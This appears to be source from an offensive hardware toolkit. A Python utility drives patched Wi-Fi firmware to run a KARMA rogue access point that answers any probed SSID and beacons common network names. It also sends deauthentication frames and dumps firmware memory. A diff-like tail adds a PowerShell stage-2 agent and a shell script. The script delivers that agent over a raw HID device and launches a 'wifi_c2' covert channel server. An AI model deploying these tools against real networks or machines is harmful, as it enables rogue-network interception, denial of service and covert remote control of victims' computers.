from ctypes import *
import struct
class struct_mame82_probe_resp_arg(Structure):
_fields_ = [("da", c_ubyte*6),
("bssid", c_ubyte*6)]
class struct_mame82_deauth_arg(Structure):
_fields_ = [("da", c_ubyte*6),
("bssid", c_ubyte*6),
("reason", c_ushort)]
class struct_ssid_list(Structure):
# we define the fields afterwards to allow creating a pointer to this struct
# which only is declared here (no fields defined so far)
pass
struct_ssid_list._fields_ = [("next", POINTER(struct_ssid_list)),
("ssid", c_ubyte*33),
("len_ssid", c_ubyte),
("assoc_req", c_uint),
("bcn_send", c_uint)]
class struct_mame82_config(Structure):
_fields_ = [("karma_probes", c_bool),
("karma_assocs", c_bool),
("karma_beacons", c_bool),
("custom_beacons", c_bool),
("debug_out", c_bool),
("ssids_custom", c_void_p),
("ssids_karma", c_void_p),
("karma_beacon_autoremove", c_uint),
("custom_beacon_autoremove", c_uint),
("max_karma_beacon_ssids", c_ubyte),
("max_custom_beacon_ssids", c_ubyte)]
class struct_mame82_config(Structure):
_fields_ = [("karma_probes", c_bool),
("karma_assocs", c_bool),
("karma_beacons", c_bool),
("custom_beacons", c_bool),
("debug_out", c_bool),
("ssids_custom", POINTER(struct_ssid_list)),
("ssids_karma", POINTER(struct_ssid_list)),
("karma_beacon_autoremove", c_uint),
("custom_beacon_autoremove", c_uint),
("max_karma_beacon_ssids", c_ubyte),
("max_custom_beacon_ssids", c_ubyte)]
class struct_nlmsghdr(Structure):
_fields_ = [("nlmsg_len", c_uint),
("nlmsg_type", c_ushort),
("nlmsg_flags", c_ushort),
("nlmsg_seq", c_uint),
("nlmsg_pid", c_uint)]
class struct_IOCTL(Structure):
_fields_ = [("cmd", c_uint),
("buf", c_void_p),
("len", c_uint),
("set", c_bool),
("used", c_uint),
("needed", c_uint),
("driver", c_uint)]
class struct_IFREQ(Structure):
_fields_ = [("ifr_name", c_char*16),
("ifr_data", c_void_p)]
class struct_nexudp_hdr(Structure):
_fields_ = [("nex", c_char * 3),
("type", c_char),
("securitycookie", c_int)]
class struct_nexudp_ioctl_hdr(Structure):
_fields_ = [("nexudphdr", struct_nexudp_hdr),
("cmd", c_uint),
("set", c_uint),
("payload", c_byte * 1)]
def mac2bstr(mac):
res = ""
for v in mac.split(":"):
res += chr(int(v,16))
return res
class nexconf:
NLMSG_ALIGNTO = 4
RTMGRP_LINK = 1
# IFLA_IFNAME = 3
# NLM_F_REQUEST = 0x0001
# NLM_F_ROOT = 0x0100
# NLMSG_NOOP = 0x0001
# NLMSG_ERROR = 0x0002
# NLMSG_DONE = 0x0003
NEXUDP_IOCTL = 0
NETLINK_USER = 31
@staticmethod
def create_cmd_ioctl(cmd, buf, set_val=False):
ioctl = struct_IOCTL()
ioctl.cmd = cmd
ioctl.buf = cast(c_char_p(buf), c_void_p)
ioctl.len = len(buf)
ioctl.set = set_val
ioctl.driver = 0x14e46c77
return ioctl
@staticmethod
def create_ifreq(ifr_name, ifr_data):
ifr = struct_IFREQ()
ifr.ifr_name = struct.pack("16s", ifr_name) # padded with zeroes (maybe utf-8 conversion should be assured ?!?!)
ifr.ifr_data = cast(pointer(ifr_data), c_void_p)
return ifr
@staticmethod
def c_struct2str(c_struct):
return string_at(addressof(c_struct), sizeof(c_struct))
@staticmethod
def ptr2str(ptr, length):
return string_at(ptr, length)
@staticmethod
def ctype2pystr(ct):
return buffer(ct)[:]
@staticmethod
def print_struct(struct, pre=""):
for field_name, field_type in struct._fields_:
print pre, field_name, field_type, getattr(struct, field_name)
@staticmethod
def NLMSG_ALIGN(length):
return ((length + nexconf.NLMSG_ALIGNTO-1) & ~(nexconf.NLMSG_ALIGNTO - 1))
@staticmethod
def NLMSG_HDRLEN():
return nexconf.NLMSG_ALIGN(sizeof(struct_nlmsghdr))
@staticmethod
def NLMSG_LENGTH(length):
return length + nexconf.NLMSG_ALIGN(nexconf.NLMSG_HDRLEN())
@staticmethod
def NLMSG_SPACE(length):
return nexconf.NLMSG_ALIGN(nexconf.NLMSG_LENGTH(length))
@staticmethod
def NLMSG_DATA(nlh):
c = cast(nlh, c_void_p)
c.value += nexconf.NLMSG_LENGTH(0) # inc is only possible for void ptr, we don't need to cast to char first as incrementation is done in single bytes (by adding to value)
return c
@staticmethod
def openNL_sock():
try:
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER)
except socket.error:
print "No Netlink IOCTL connection possible"
return None
# bind to kernel
s.bind((os.getpid(), 0))
return s
def closeNL_sock(s):
s.close()
@staticmethod
def sendNL_IOCTL(ioc, debug=False, rawresult=False, nl_socket_fd=None):
### NETLINK test ####
if debug:
print "Sending NL IOCTL\n\tcmd: {0}\n\tset_enabled: {1}\n\tpayload: {2}".format(ioc.cmd, ioc.set, repr(nexconf.ptr2str(ioc.buf, ioc.len)))
frame_len = ioc.len + sizeof(struct_nexudp_ioctl_hdr) - sizeof(c_char)
frame = struct_nexudp_ioctl_hdr()
nlhbuf = create_string_buffer(nexconf.NLMSG_SPACE(frame_len))
nlh = cast(pointer(nlhbuf), POINTER(struct_nlmsghdr))
nlh.contents.nlmsg_len = nexconf.NLMSG_SPACE(frame_len)
nlh.contents.nlmsg_pid = os.getpid();
nlh.contents.nlmsg_flags = 0;
pdata = nexconf.NLMSG_DATA(nlh)
frame = cast(pdata, POINTER(struct_nexudp_ioctl_hdr))
frame.contents.nexudphdr.nex = 'NEX'
frame.contents.nexudphdr.type = chr(nexconf.NEXUDP_IOCTL)
frame.contents.nexudphdr.securitycookie = 0;
frame.contents.cmd = ioc.cmd
frame.contents.set = ioc.set
#frame.contents.payload = nexconf.ptr2str(ioc.buf, ioc.len)
memmove(addressof(frame.contents.payload), ioc.buf, ioc.len)
# frame to string
fstr = nexconf.ptr2str(frame, nexconf.NLMSG_SPACE(frame_len) - nexconf.NLMSG_LENGTH(0))
#full buf to string (including nlhdr)
p_nlhbuf = pointer(nlhbuf)
bstr = nexconf.ptr2str(p_nlhbuf, nexconf.NLMSG_SPACE(frame_len))
'''
print "NL HEADER"
print type(p_nlhbuf)
print repr(bstr)
print repr(buffer(p_nlhbuf.contents)[:])
print "NL MESSAGE DATA"
print type(frame)
print repr(fstr)
print repr(buffer(frame.contents)[:])
'''
sfd = None
s = None
if nl_socket_fd == None:
try:
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, nexconf.NETLINK_USER)
except socket.error:
print "No Netlink IOCTL connection possible"
return None
# bind to kernel
s.bind((os.getpid(), 0))
sfd = os.fdopen(s.fileno(), 'w+b')
else:
sfd = nl_socket_fd
sfd.write(bstr)
sfd.flush()
ret = ""
if (ioc.set == 0):
# read back result (CAUTION THERE'S NO SOCKET TIMEOUT IN USE, SO THIS COULD STALL)
if debug:
print "Reading back NETLINK answer ..."
res_frame = sfd.read(nlh.contents.nlmsg_len)
res_frame_len = len(res_frame)
if rawresult:
# don't cast and parse headers
sfd.close()
s.close()
return res_frame
# pointer to result buffer
p_res_frame = cast(c_char_p(res_frame), c_void_p)
# point struct nlmsghdr to p_res_frame
p_nlh = cast(p_res_frame, POINTER(struct_nlmsghdr))
# grab pointer to data part of nlmsg
p_nld_void = nexconf.NLMSG_DATA(p_nlh)
# convert to: struct nexudp_ioctl_hdr*
p_nld = cast(p_nld_void, POINTER(struct_nexudp_ioctl_hdr))
# calculate offset to payload from p_res_frame
offset_payload = addressof(p_nld.contents.payload) - p_res_frame.value
payload = res_frame[offset_payload:]
if debug:
nexconf.print_struct(p_nlh.contents, "\t")
nexconf.print_struct(p_nld.contents, "\t")
nexconf.print_struct(p_nld.contents.nexudphdr, "\t")
print "\tpayload:\t" + repr(payload)
#return only payload part of res frame
ret = payload
if nl_socket_fd == None:
sfd.close()
s.close()
return ret
@staticmethod
def send_IOCTL(ioc, device_name = "wlan0"):
# This code is untested, because our target (BCM43430a1) talks NETLINK
# so on Pi0w sendNL_IOCTL should be used
SIOCDEVPRIVATE = 0x89F0
# create ioctl ifreq
ifr = nexconf.create_ifreq(device_name, ioc)
# debug out
'''
print repr(nexconf.c_struct2str(ifr))
print len(nexconf.c_struct2str(ifr))
print repr(string_at(ifr.ifr_data, sizeof(ioc)))
'''
# send ioctl to kernel via UDP socket
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
fcntl.ioctl(s.fileno(), SIOCDEVPRIVATE, ifr)
s.close()
class MaMe82_IO:
CMD=666
CMD_RETRIEVE_CAP = 400
KARMA_CAP = (1 << 7)
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE = 1
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC = 2
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA = 3
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON = 4
MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT = 5
MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT = 6
MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID = 7
MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID = 8
MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS = 9
MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS = 10
MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS = 11
MAME82_IOCTL_ARG_TYPE_SEND_DEAUTH = 20
MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP = 21
MAME82_IOCTL_ARG_TYPE_GET_CONFIG = 100
MAME82_IOCTL_ARG_TYPE_GET_MEM = 101
@staticmethod
def s2hex(s):
return "".join(map("0x%2.2x ".__mod__, map(ord, s)))
@staticmethod
def send_probe_resp(bssid, da="ff:ff:ff:ff:ff:ff", ie_ssid_data="TEST_SSID", ie_vendor_data=None):
arr_bssid = mac2bstr(bssid)
arr_da = mac2bstr(da)
ie_ssid_type = 0
ie_ssid_len = 32
ie_vendor_type = 221
ie_vendor_len = 238
buf = ""
if ie_vendor_data == None:
buf = struct.pack("<II6s6sBB32s",
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
48, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
arr_da,
arr_bssid,
ie_ssid_type,
ie_ssid_len,
ie_ssid_data)
else:
buf = struct.pack("<II6s6sBB32sBB238s",
MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_PROBE_RESP,
286, # 6 + 6 + 1 + 1 +32 + 1 + 1 + 238
arr_da,
arr_bssid,
ie_ssid_type,
ie_ssid_len,
ie_ssid_data,
# insert additional IEs here
ie_vendor_type,
ie_vendor_len,
ie_vendor_data)
#print repr(buf)
ioctl_sendprbrsp = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, buf, True)
nexconf.sendNL_IOCTL(ioctl_sendprbrsp)
@staticmethod
def send_deauth(bssid, da="ff:ff:ff:ff:ff:ff", reason=0x0007):
arr_bssid = mac2bstr(bssid)
arr_da = mac2bstr(da)
buf = struct.pack("<II6s6sH", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SEND_DEAUTH, sizeof(struct_mame82_deauth_arg), arr_da, arr_bssid, reason)
print repr(buf)
ioctl_senddeauth = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, buf, True)
nexconf.sendNL_IOCTL(ioctl_senddeauth)
@staticmethod
def set_ch(channel):
ioctl = nexconf.create_cmd_ioctl(30, struct.pack("<I", channel), True)
res = nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def get_ch():
ioctl = nexconf.create_cmd_ioctl(29, "", False)
res = nexconf.sendNL_IOCTL(ioctl)
return struct.unpack("<I", res[:4])[0]
@staticmethod
def add_custom_ssid(ssid):
if len(ssid) > 32:
print "SSID too long, 32 chars max"
return
ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID, len(ssid), ssid), True)
nexconf.sendNL_IOCTL(ioctl_addssid)
@staticmethod
def rem_custom_ssid(ssid):
if len(ssid) > 32:
print "SSID too long, 32 chars max"
return
ioctl_addssid = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II{0}s".format(len(ssid)), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID, len(ssid), ssid), True)
nexconf.sendNL_IOCTL(ioctl_addssid)
@staticmethod
def set_enable_karma_probe(on=True):
if on:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 1), True)
else:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE, 1, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_enable_karma_assoc(on=True):
if on:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 1), True)
else:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC, 1, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_enable_karma_beaconing(on=True):
if on:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 1), True)
else:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON, 1, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_enable_custom_beaconing(on=True):
if on:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 1), True)
else:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS, 1, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_enable_karma(on=True):
if on:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 1), True)
else:
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("IIB", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA, 1, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def clear_custom_ssids():
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def clear_karma_ssids():
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS, 0), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_autoremove_custom_ssids(beacon_count):
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def set_autoremove_karma_ssids(beacon_count):
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
nexconf.sendNL_IOCTL(ioctl)
@staticmethod
def check_for_karma_cap():
ioctl = nexconf.create_cmd_ioctl(400, "", False) # there's a length check for the CAPs ioctl, forcing size to 4 (only command, no arg buffer)
res = nexconf.sendNL_IOCTL(ioctl)
if res == None:
return False
else:
cap = struct.unpack("I", res[:4])[0]
# print "Cap: {0}".format(MaMe82_IO.s2hex(res))
if (cap & MaMe82_IO.KARMA_CAP == 0):
return False
return True
@staticmethod
def dump_conf(print_res=True, dump_ssids=True):
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II40s", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_CONFIG, 4, ""), False)
res = nexconf.sendNL_IOCTL(ioctl)
if res == None:
print "Couldn't retrieve config"
return None
mame82_config = struct_mame82_config()
memmove(addressof(mame82_config), res, min(len(res), sizeof(struct_mame82_config)))
if dump_ssids:
mame82_config.ssids_karma = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_karma, c_void_p).value)
mame82_config.ssids_custom = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_custom, c_void_p).value)
else:
mame82_config.ssids_karma = None
mame82_config.ssids_custom = None
if print_res:
print "KARMA PROBES - Answer probe requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_probes else "Off")
print "KARMA ASSOCS - Answer association requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_assocs else "Off")
print "KARMA SSIDs - Broadcast beacons for foreigin SSIDs after probe request [{0}]".format("On" if mame82_config.karma_beacons else "Off")
print "CUSTOM SSIDs - Broadcast beacons for custom SSIDs (added by user) [{0}]".format("On" if mame82_config.custom_beacons else "Off")
print "(unused for now) Print debug messages to BCM43430a1 internal console [{0}]".format("On" if mame82_config.debug_out else "Off")
print "\nStop sending more beacons for KARMA SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.karma_beacon_autoremove)
print "\nStop sending more beacons for CUSTOM SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.custom_beacon_autoremove)
print "\nMaximum allowed KARMA SSIDs for beaconing (no influence on assocs / probes): [{0}]".format(mame82_config.max_karma_beacon_ssids)
print "Maximum allowed CUSTOM SSIDs: [{0}]".format(mame82_config.max_custom_beacon_ssids)
print ""
if cast(mame82_config.ssids_karma, c_void_p).value != None:
print "Beaconed SSIDs from probes (KARMA SSIDs), right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_karma))
print ""
if cast(mame82_config.ssids_karma, c_void_p).value != None:
print "Beaconed SSIDs defined by user, right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_custom))
# fetch structs for SSID list
return mame82_config
@staticmethod
def ssid_list2str(head):
ssids = []
cur = head.contents
while cast(cur.next, c_void_p).value != None:
cur = cur.next.contents
str_ssid = "".join(chr(c) for c in cur.ssid[0:cur.len_ssid])
ssids.append(str_ssid)
return ssids
@staticmethod
def dump_mem(dump_addr, dump_len, print_res=True):
# valid 0x80 - 0x07ffff
# valid 0x800000 - 0x89ffff
if dump_len < 16:
printf("Minimum length for dumping is 16 bytes")
return ""
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III{0}s".format(dump_len - 16), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_MEM, 4, dump_addr, ""), False)
res = nexconf.sendNL_IOCTL(ioctl)
if print_res:
print MaMe82_IO.s2hex(res)
return res
@classmethod
def dump_ssid_list_entry(cls, address):
headdata = cls.dump_mem(address, sizeof(struct_ssid_list), print_res=False)
head = struct_ssid_list()
memmove(addressof(head), headdata, len(headdata))
return head
@classmethod
def dump_ssid_list(cls, address):
cur = cls.dump_ssid_list_entry(address)
head = cur
p_next = cast(cur.next, c_void_p)
while p_next.value != None:
#print "p_next {0}".format(hex(p_next.value))
next_entry = cls.dump_ssid_list_entry(p_next.value)
cur.next = pointer(next_entry) # replace pointer to next element with a one valid in py
cur = cur.next.contents # advance cur to next element (dreferenced)
p_next = cast(cur.next, c_void_p) # update pointer to next and cast to void*
# return pointer to head element
return pointer(head)
@classmethod
def set_defaults(cls):
cls.add_custom_ssid("linksys")
cls.add_custom_ssid("NETGEAR")
cls.add_custom_ssid("dlink")
cls.add_custom_ssid("AndroidAP")
cls.add_custom_ssid("default")
cls.add_custom_ssid("cablewifi")
cls.add_custom_ssid("asus")
cls.add_custom_ssid("Guest")
cls.add_custom_ssid("Telekom")
cls.add_custom_ssid("xerox")
cls.add_custom_ssid("tmobile")
cls.add_custom_ssid("Telekom_FON")
cls.add_custom_ssid("freifunk")
cls.set_enable_karma(True) # send probe responses and association responses for foreign SSIDs
cls.set_enable_karma_beaconing(False) # send beacons for SSIDs seen in probe requests (we better don't enable this by default)
cls.set_autoremove_karma_ssids(600) # remove SSIDs from karma beaconing, which didn't received an assoc request after 600 beacons (1 minute)
cls.set_enable_custom_beaconing(True) # send beacons for the custom SSIDs set with 'add_custom_ssid'
cls.set_autoremove_custom_ssids(0) # never remove custom SSIDs from beaconing list, if they didn't receive an assoc request
#cls.dump_conf(print_res=True)
def ioctl_get_test():
### Send ioctl comand via netlink: test of GET (cmd 262, value 'bsscfg:ssid' in a buffer large enough to receive the response) ######
# test to read a IO var for bsscfg:ssid (resp buffer: 4 bytes for uint32 ssid_len, 32 bytes for max len SSID)
# Note:
# The payload buffer size for send and recv are te same (36 in this test case), although the payload sent
# has only 11 bytes ("bsscfg:ssid") which are used. This has no impact for parsing the request for SSID on
# driver/firmware end. This means: We are free to choose the response buffer size, by adjusting the request buffer size.
# In case of the SSID request, the buffer is only partially overwritten with the response (for SSID 'test' only the first 8 bytes).
# The rest of the buffer isn't cleared to 0x00, but the response is prepended with an uint32 length field, which could be used
# to scrape out the relevant part of the response string.
# As I haven't dived into the inner workings of NETLINK, I haven't tested for responses which don't fit in a single message,
# but it is likely that those responses are fragmented over multiple NL messages and the nlmsg_seq header field is used to
# distinguish them. Anyway, this code DOESN'T ACCOUNT FOR THIS AND DOESN'T RECEIVE FRAGMENTED RESPONSES. NOR DOES THIS CODE ACCOUNT
# FOR MAXIMUM MESSAGE SIZE WHEN IT COMES TO SENDING (USING BUFFER WHICH ARE TOO LARGE).
# So this is considered experimental, the correct tool to use is nexutil written by the creators of nexmon ;-)
ioctl_readvar_ssid = nexconf.create_cmd_ioctl(262, struct.pack("36s", "bsscfg:ssid"), False)
res = nexconf.sendNL_IOCTL(ioctl_readvar_ssid)
# clamp result string
res_len = struct.unpack("I", res[:4])[0]
res_str = res[4:4+res_len]
print res_str
# As soon as an AP is running with hostapd (and backed by the customized nexmon firmware)
# the IOCTL to set up karma could be received.
#
# The hardcoded example commands below bring up a KARMA hotspot (responds to every probe/association
# request which the STA wants to see), with 13 additional SSIDs and BEACONING enabled for probed SSIDs
# Additionally the autoremove feature is enabled, for SSIDs not receiving an assoc request in timely
# manner.
#
# Each of this commands could be use to interactively manipulate the firmware from a python console.
#
# Example to disable KARMA:
# --------------------------------
# >>> from mame82_util import *
# >>> MaMe82_IO.set_enable_karma(False)
# Sending NL IOCTL
# cmd: 666
# set_enabled: True
# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x00'
#
#
# Example to enable KARMA + Beaconing for SSIDs from probe requests:
# ------------------------------------------------------------------
# >>> from mame82_util import *
# >>> MaMe82_IO.set_enable_karma(True)
# Sending NL IOCTL
# cmd: 666
# set_enabled: True
# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x01'
# >>> MaMe82_IO.set_enable_karma_beaconing(True)
# Sending NL IOCTL
# cmd: 666
# set_enabled: True
# payload: '\x04\x00\x00\x00\x01\x00\x00\x00\x01'
#
#
### Example configuration for MaMe82 KARMA nexmon firmware mod ###
#MaMe82_IO.set_defaults()

BIN
dist/legacy/mame82_util.pyc vendored Normal file

Binary file not shown.

1
dist/legacy/test.ps1 vendored Normal file
View File

@ -0,0 +1 @@
calc.exe

4
dist/legacy/wifi_agent.ps1 vendored Normal file

File diff suppressed because one or more lines are too long

1211
dist/legacy/wifi_server.py vendored Executable file

File diff suppressed because it is too large Load Diff

30
dist/scripts/wifi_covert_channel.sh vendored Normal file
View File

@ -0,0 +1,30 @@
#!/bin/bash
# use CLI client to determine raw HID device
hidraw=$(P4wnP1_cli usb get device raw)
# exit if HID raw device isn't up
if [ "$hidraw" = "" ]; then
echo "no raw HID device found, aborting";
exit
fi
echo "Kill old hidstager processes ..."
ps -aux | grep hidstager.py | grep -v grep | awk {'system("kill "$2)'}
echo "Starting HID stager for WiFi covert channel payload"
# start HID covert channel stager (delivers PowerShell stage2 via raw HID device)
# the '-s' parameter terminates the stager after every successfull stage2 delivery
/usr/local/P4wnP1/legacy/hidstager.py -s -i /usr/local/P4wnP1/legacy/wifi_agent.ps1 -o $hidraw &
if ! ps -aux | grep wifi_server | grep -q -v grep; then
echo "Start WiFi covert channel server and attach to screen session..."
# start WiFi covert channel server
screen -dmS wifi_c2 bash -c "/usr/local/P4wnP1/legacy/wifi_server.py"
else
echo "HID covert channel server already running"
fi
P4wnP1_cli led -b 3